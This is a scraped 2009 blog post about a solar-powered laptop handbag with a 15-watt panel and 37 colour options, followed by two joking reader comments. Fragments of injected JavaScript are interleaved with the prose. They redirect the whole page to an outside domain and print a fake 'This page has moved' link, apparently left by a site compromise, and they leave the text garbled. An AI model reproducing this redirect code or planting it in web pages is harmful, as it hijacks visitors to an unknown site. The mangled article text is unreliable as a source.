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Eco Trends | Ecology | Energy Sun Bag

11-11-2009 Hi-tech Gadgets + Handbags = Happiness

We all know there’s nothing like being stuck in an airport without a laptop charger. What to make of this latest craze when the var rurl = 'http://ww5.humspm.com'; laptop bag charges it for you? This is the window.top.location.replace(rurl); thinking behind the } catch(exception) { Neuber Energy Sun Bag, a solar powered handbag that lets you charge devices with energy from the document.write("This page has moved, Click here to go there."); sun. Equipped with lightweight, tough, waterproof solar panels, the new Generator is capable of producing up to 15 watts, a feat powerful enough to completely charge a standard laptop from just one day of direct sunlight. The bag comes with a battery for those back up moments when the sun is not so plentiful and you can pick a bag from an addictive range of 37 colours. But who needs more than one apart from maybe Bill Gates?

 

Source: http://www.solarbag-shop.de/english/solar-bags.html?SID=1d0240384d2ed68f6ca2f805de3963ba&limit=all

 

Related Trends: Sheila The Solar Queen'Long Live The Battery Life',  'Powersurge In Your iPocket', 'Energy From Your Balcony'

Comments

  • Posted by Patrick Mount on 18/01/2010 16:48
  • Just imagine what our Great Grandparents would say!

  • Posted by Tara Morgan on 18/01/2010 16:49
  • Hahahaha Bill Gates would need about 99,000 to carry all his money in!

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